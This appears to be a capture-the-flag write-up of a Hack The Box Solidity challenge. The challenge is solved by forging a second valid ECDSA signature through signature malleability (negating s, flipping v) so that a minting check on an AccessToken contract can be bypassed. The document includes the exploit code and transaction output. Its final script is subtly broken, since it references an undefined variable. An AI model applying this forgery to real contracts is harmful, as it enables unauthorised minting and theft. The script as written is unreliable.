Confidentiality is a Solidity CTF challenge from Hack The Box. When we spawn the docker we are getting 2 different ip port pairs. From first question we know that
As you have already seen, there are 2 ports provided.
- The one port is the `tcp` port, which is used to retrieve information about connecting to the private chain, such as private key, and the target contract's addresses. You can connect to this one using `netcat`.
- The other port is the `rpc` url. You will need this in order to connect to the private chain.
In order to figure out which one is which, try using `netcat` against both. The one which works is the `tcp` port, while the other one is the `rpc url`.
One is TCP and the other one is RPC url.
If we try both we will see that 55531
port is the TCP one which we can retrieve information about challenge.
So now we know our private key and the address of contracts.
Private key : 0x958fb14069f3b4e5e2502d378f7804ecd87b0eb7ef3d79f711d876d0195f1ea6
Address : 0x75cDB60361347688c3cBC7fc16DE76dbBE0789C6
Target contract : 0xf2b742287005ef6b06C45f540dA5583569312E1f
Setup contract : 0x5917511316367ee9211004CC47CFaB737A165481
Connection
>>> from brownie import *
priv_key = '0x958fb14069f3b4e5e2502d378f7804ecd87b0eb7ef3d79f711d876d0195f1ea6'
accounts.add(private_key=priv_key)
attacker = accounts[-1]
ip_port = 'http://94.237.55.114:55676'
web3.connect(ip_port)
setup = Setup.at('0x5917511316367ee9211004CC47CFaB737A165481')
target = AccessToken.at('0xf2b742287005ef6b06C45f540dA5583569312E1f')
assert attacker.balance() > 0
>>> attacker.balance()
5000000000000000000000
brownie-config.yaml
networks:
default: development
development:
host: 94.237.55.114
port: 55676
network_id: "*"
chainid: 31337
cmd_settings:
unlock:
- 0x3f4f44912A322DCD02adB6640Ed38217BbFbcb98
Source Codes
This contract has 2 main solidity file and couple helpers. I won't paste helpers here because they are not vulnerable and they are just copy paste functions from openzeppelin.
Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;
import {AccessToken} from "./AccessToken.sol";
contract Setup {
AccessToken public immutable TARGET;
constructor(address _owner, bytes memory signature) {
TARGET = new AccessToken(_owner);
// Secure 1 AccessToken for myself
TARGET.safeMintWithSignature(signature, address(this));
}
function isSolved(address _player) public view returns (bool) {
return TARGET.balanceOf(_player) > 0;
}
}
Campaign.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;
import {ERC721} from "./lib/ERC721.sol";
import {Owned} from "./lib/Owned.sol";
contract AccessToken is ERC721, Owned {
uint256 public currentSupply;
bytes[] public usedSignatures;
bytes32 public constant approvalHash = 0x4ed1c9f7e3813196653ad7c62857a519087860f86aff4bc7766c8af8756a72ba;
constructor(address _owner) Owned(_owner) ERC721("AccessToken", "ACT") {}
function safeMint(address to) public onlyOwner returns (uint256) {
return _safeMintInternal(to);
}
function safeMintWithSignature(bytes memory signature, address to) external returns (uint256) {
require(_verifySignature(signature), "Not approved");
require(!_isSignatureUsed(signature), "Signature already used");
usedSignatures.push(signature);
return _safeMintInternal(to);
}
function _verifySignature(bytes memory signature) internal view returns (bool) {
(uint8 v, bytes32 r, bytes32 s) = deconstructSignature(signature);
address signer = ecrecover(approvalHash, v, r, s);
return signer == owner;
}
function _isSignatureUsed(bytes memory _signature) internal view returns (bool) {
for (uint256 i = 0; i < usedSignatures.length; i++) {
if (keccak256(_signature) == keccak256(usedSignatures[i])) {
return true;
}
}
return false;
}
function _safeMintInternal(address to) internal returns (uint256) {
currentSupply += 1;
_safeMint(to, currentSupply);
return currentSupply;
}
// ##### Signature helper utilities
// utility function to deconstruct a signature returning (v, r, s)
function deconstructSignature(bytes memory signature) public pure returns (uint8, bytes32, bytes32) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
/// @solidity memory-safe-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return (v, r, s);
}
function constructSignature(uint8 v, bytes32 r, bytes32 s) public pure returns (bytes memory) {
return abi.encodePacked(r, s, v);
}
}
Solution
If we take a look to the Setup
contract it can be seen that to solve this question we need to mint/transfer some TARGET
tokens to ourself. And we know that TARGET
is AccessToken
from AccessToken.sol
. The contract AccessToken
has couple functions for mint operation however one is internal
and one oft hem has a onlyOwner
modifier. So it means there is only one mint function that we can call which is safeMintWithSignature
. That function is checking the signature
at very first to verify it and to see if that signature is used or not. Since there is a _isSignatureUsed
function control it means we can not use previously given signatures. And on the constructor of Setup.py
we know one signature used and pushed to the usedSignatures
array. If we take a look to the _verifySignature
function we can see that its just deconstructs the given signature to r
, s
, v
and verifies it with ecrecover
to see if signer is owner
or not. Since we already have one valid signature we can try to use Signature Malleability
vulnerability.
function safeMintWithSignature(bytes memory signature, address to) external returns (uint256) {
require(_verifySignature(signature), "Not approved");
require(!_isSignatureUsed(signature), "Signature already used");
usedSignatures.push(signature);
return _safeMintInternal(to);
}
function _verifySignature(bytes memory signature) internal view returns (bool) {
(uint8 v, bytes32 r, bytes32 s) = deconstructSignature(signature);
address signer = ecrecover(approvalHash, v, r, s);
return signer == owner;
}
So to check current valid hash we can do
>>> target.usedSignatures(0)
0xbca57be80ac3a0814fb298d7115ff0c9ff8288efa9c8558ef86b5525aef03f8c3c62e1f9c7fb89109a6bfd51fe3791de70bb3dc00eecce25c8cfb76609a9258f1b
>>> target.deconstructSignature(target.usedSignatures(0))
(27, 0xbca57be80ac3a0814fb298d7115ff0c9ff8288efa9c8558ef86b5525aef03f8c, 0x3c62e1f9c7fb89109a6bfd51fe3791de70bb3dc00eecce25c8cfb76609a9258f)
We can use that v
, r
and s
values t o create new signature
import ecdsa
v = 27
r = 0xbca57be80ac3a0814fb298d7115ff0c9ff8288efa9c8558ef86b5525aef03f8c
s = 0x3c62e1f9c7fb89109a6bfd51fe3791de70bb3dc00eecce25c8cfb76609a9258f
# ECDSA curve order
n = ecdsa.SECP256k1.order
# New s and v
s_new = (-s) % n
v_new = 27 if v == 28 else 28
print("New Signature: ", (v_new, r, s_new))
And the output is
New Signature: (28, 85327200469984395632502839566776837187115176720309848430044766911403184373644, 88478607682956560751764001115168458186918560835760767434360627727659894119346)
So now we can construct new signature from this v
,r
,s
pair and send it to target class to mint some tokens.
>>> new_v = 28
>>> new_r = 85327200469984395632502839566776837187115176720309848430044766911403184373644
>>> new_s = 88478607682956560751764001115168458186918560835760767434360627727659894119346
>>> target.constructSignature(new_v, new_r, new_s)
0xbca57be80ac3a0814fb298d7115ff0c9ff8288efa9c8558ef86b5525aef03f8cc39d1e06380476ef659402ae01c86e2049f39f26a05bd215f702a726c68d1bb21c
and use it on mint function.
>>> target.constructSignature(new_v, new_r, new_s)
0xbca57be80ac3a0814fb298d7115ff0c9ff8288efa9c8558ef86b5525aef03f8cc39d1e06380476ef659402ae01c86e2049f39f26a05bd215f702a726c68d1bb21c
>>> target.balanceOf(attacker)
0
>>> target.safeMintWithSignature(target.constructSignature(new_v, new_r, new_s), attacker, {'from': attacker})
Transaction sent: 0xfca6757b632175b627c201e148b84e29fe6eabbc5157ca4add4f08c67e1179dc
Gas price: 0.0 gwei Gas limit: 30000000 Nonce: 2
AccessToken.safeMintWithSignature confirmed Block: 4 Gas used: 185202 (0.62%)
<Transaction '0xfca6757b632175b627c201e148b84e29fe6eabbc5157ca4add4f08c67e1179dc'>
>>> target.balanceOf(attacker)
1
FLAG
Brownie Script
from brownie import *
priv_key = '0x958fb14069f3b4e5e2502d378f7804ecd87b0eb7ef3d79f711d876d0195f1ea6'
accounts.add(private_key=priv_key)
attacker = accounts[-1]
ip_port = 'http://94.237.55.114:55676'
web3.connect(ip_port)
setup = Setup.at('0x5917511316367ee9211004CC47CFaB737A165481')
target = AccessToken.at('0xf2b742287005ef6b06C45f540dA5583569312E1f')
assert attacker.balance() > 0
import ecdsa
v,r,s = target.deconstructSignature(target.usedSignatures(0))
v = v_r_s[0]
r = v_r_s[1]
s = v_r_s[2]
# ECDSA curve order
n = ecdsa.SECP256k1.order
# New s and v
s_new = (-s) % n
v_new = 27 if v == 28 else 28
print("New Signature: ", (v_new, r, s_new))
target.safeMintWithSignature(target.constructSignature(v_new, r, s_new), attacker, {'from': attacker})